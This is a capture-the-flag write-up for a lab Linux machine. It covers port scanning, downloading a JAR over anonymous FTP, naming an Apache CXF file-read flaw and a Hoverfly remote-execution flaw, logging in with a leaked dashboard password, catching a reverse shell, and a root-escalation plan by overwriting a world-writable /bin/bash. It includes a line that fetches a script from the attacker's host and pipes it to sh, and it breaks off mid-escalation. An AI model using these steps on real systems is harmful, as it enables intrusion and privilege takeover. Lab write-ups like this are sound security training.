A Linux machine where a publicly exposed JAR file reveals a vulnerable internal SOAP service, and a chain of misconfigurations — from exposed credentials to a world-writable binary — leads all the way to root.
$ ip=10.129.20.60; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-31 06:46 -0400 Nmap scan report for 10.129.20.60 Host is up (0.20s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.16.27 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA) |_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519) 80/tcp open http Apache httpd 2.4.58 |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Did not follow redirect to http://devarea.htb/ 8080/tcp open http Jetty 9.4.27.v20200227 |_http-server-header: Jetty(9.4.27.v20200227) |_http-title: Error 404 Not Found 8500/tcp open http Golang net/http server |_http-title: Site doesn't have a title (text/plain; charset=utf-8). | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Tue, 31 Mar 2026 10:47:26 GMT | Content-Length: 64 | This is a proxy server. Does not respond to non-proxy requests. | GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | X-Content-Type-Options: nosniff | Date: Tue, 31 Mar 2026 10:47:07 GMT | Content-Length: 64 |_ This is a proxy server. Does not respond to non-proxy requests. 8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Hoverfly Dashboard Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 46.66 seconds
Several ports of interest:
21/tcp — vsftpd 3.0.5 with anonymous login allowed
80/tcp — Apache redirecting to devarea.htb
8080/tcp — Jetty 9.4.27 (Java application server)
8500/tcp — Go proxy server
8888/tcp — Hoverfly Dashboard
Foothold
Hosts File
1
$ echo'10.129.20.60 devarea.htb' | sudotee -a /etc/hosts
FTP — JAR File Download
Anonymous FTP exposes a pub/ directory containing a compiled Java application:
$ ftp devarea.htb Connected to devarea.htb. 220 (vsFTPd 3.0.5) Name (devarea.htb:kali): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||41000|) 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||43952|) 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar 226 Directory send OK. ftp> get employee-service.jar local: employee-service.jar remote: employee-service.jar 229 Entering Extended Passive Mode (|||42610|) 150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes). 100% |******************************************************************************| 6293 KiB 1.01 MiB/s 00:00 ETA 226 Transfer complete. 6445030 bytes received in 00:06 (991.14 KiB/s)
JAR Decompilation — SOAP Service Discovery
Extract and decompile the JAR:
1
$ unzip employee-service.jar -d employee-service
1 2 3 4
$ jadx /home/kali/employee-service/htb/devarea/ServerStarter.class -d /home/kali/employee-service/htb/devarea/ServerStarter INFO - loading ... INFO - processing ... INFO - done
The decompiled ServerStarter.java reveals an Apache CXF SOAP service running on the Jetty server:
/* JADX INFO: loaded from: ServerStarter.class */ public class ServerStarter { public static void main(String[] args) { JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean(); factory.setServiceClass(EmployeeService.class); factory.setServiceBean(new EmployeeServiceImpl()); factory.setAddress("http://0.0.0.0:8080/employeeservice"); factory.create(); System.out.println("Employee Service running at http://localhost:8080/employeeservice"); System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl"); } }
CVE-2022-46364 — Apache CXF MTOM/XOP LFI
The submitReport SOAP operation is exposed at http://devarea.htb:8080/employeeservice. This version of Apache CXF is vulnerable to CVE-2022-46364, an LFI via MTOM/XOP — when the service processes a multipart SOAP request containing an XOP Include element, it fetches the referenced URI server-side, allowing arbitrary local file reads.
Log in to the Hoverfly Dashboard at http://devarea.htb:8888/ with admin:O7IJ27MyyXiU. The running version is 1.11.3, which is vulnerable to CVE-2025-54123 — an RCE via the /api/v2/hoverfly/middleware endpoint. Hoverfly passes requests through a configurable middleware binary and script without sufficient validation, allowing arbitrary command execution as the service user.
connect to [10.10.16.27] from (UNKNOWN) [10.129.20.60] 45746 bash: cannot set terminal process group (1432): Inappropriate ioctl for device bash: no job control in this shell dev_ryan@devarea:/opt/HoverFly$
The user flag is accessible from here.
Privilege Escalation
World-Writable /bin/bash via sudo Script Hijack
Check sudo permissions:
1 2 3 4 5 6 7 8 9
dev_ryan@devarea:~$ sudo -l Matching Defaults entries for dev_ryan on devarea: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart
dev_ryan can run /opt/syswatch/syswatch.sh as root without a password, but the script itself is not readable. A ZIP of the source code is in the home directory:
1 2 3 4
dev_ryan@devarea:~$ ls syswatch-v1.zip user.txt dev_ryan@devarea:~$ unzip syswatch-v1.zip
Reviewing setup.sh points to a service environment file, and following that chain leads us to the SysWatch configuration:
Internal port enumeration shows a SysWatch service listening on 7777, but it leads nowhere useful.
Running LinPEAS for automated enumeration reveals a critical misconfiguration:
1
$ curl http://10.10.16.27/linpeas.sh | sh
1 2
╔══════════╣ Writable root-owned executables I can modify (max 200) -rwxrwxrwx 1 root root 43 Mar 31 16:33 /usr/bin/bash
1 2
dev_ryan@devarea:~$ ls -la /bin/bash -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /bin/bash
/bin/bash is world-writable. Since syswatch.sh begins with #!/bin/bash, replacing the binary with a malicious payload means that when the script runs as root via sudo, our payload executes as root. The plan is to replace /bin/bash with a script that sets the SUID bit on /usr/bin/python3, then use that to pop a root shell.
First, drop into sh to free /bin/bash from the current process:
1
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
Kill any remaining bash processes holding the binary open: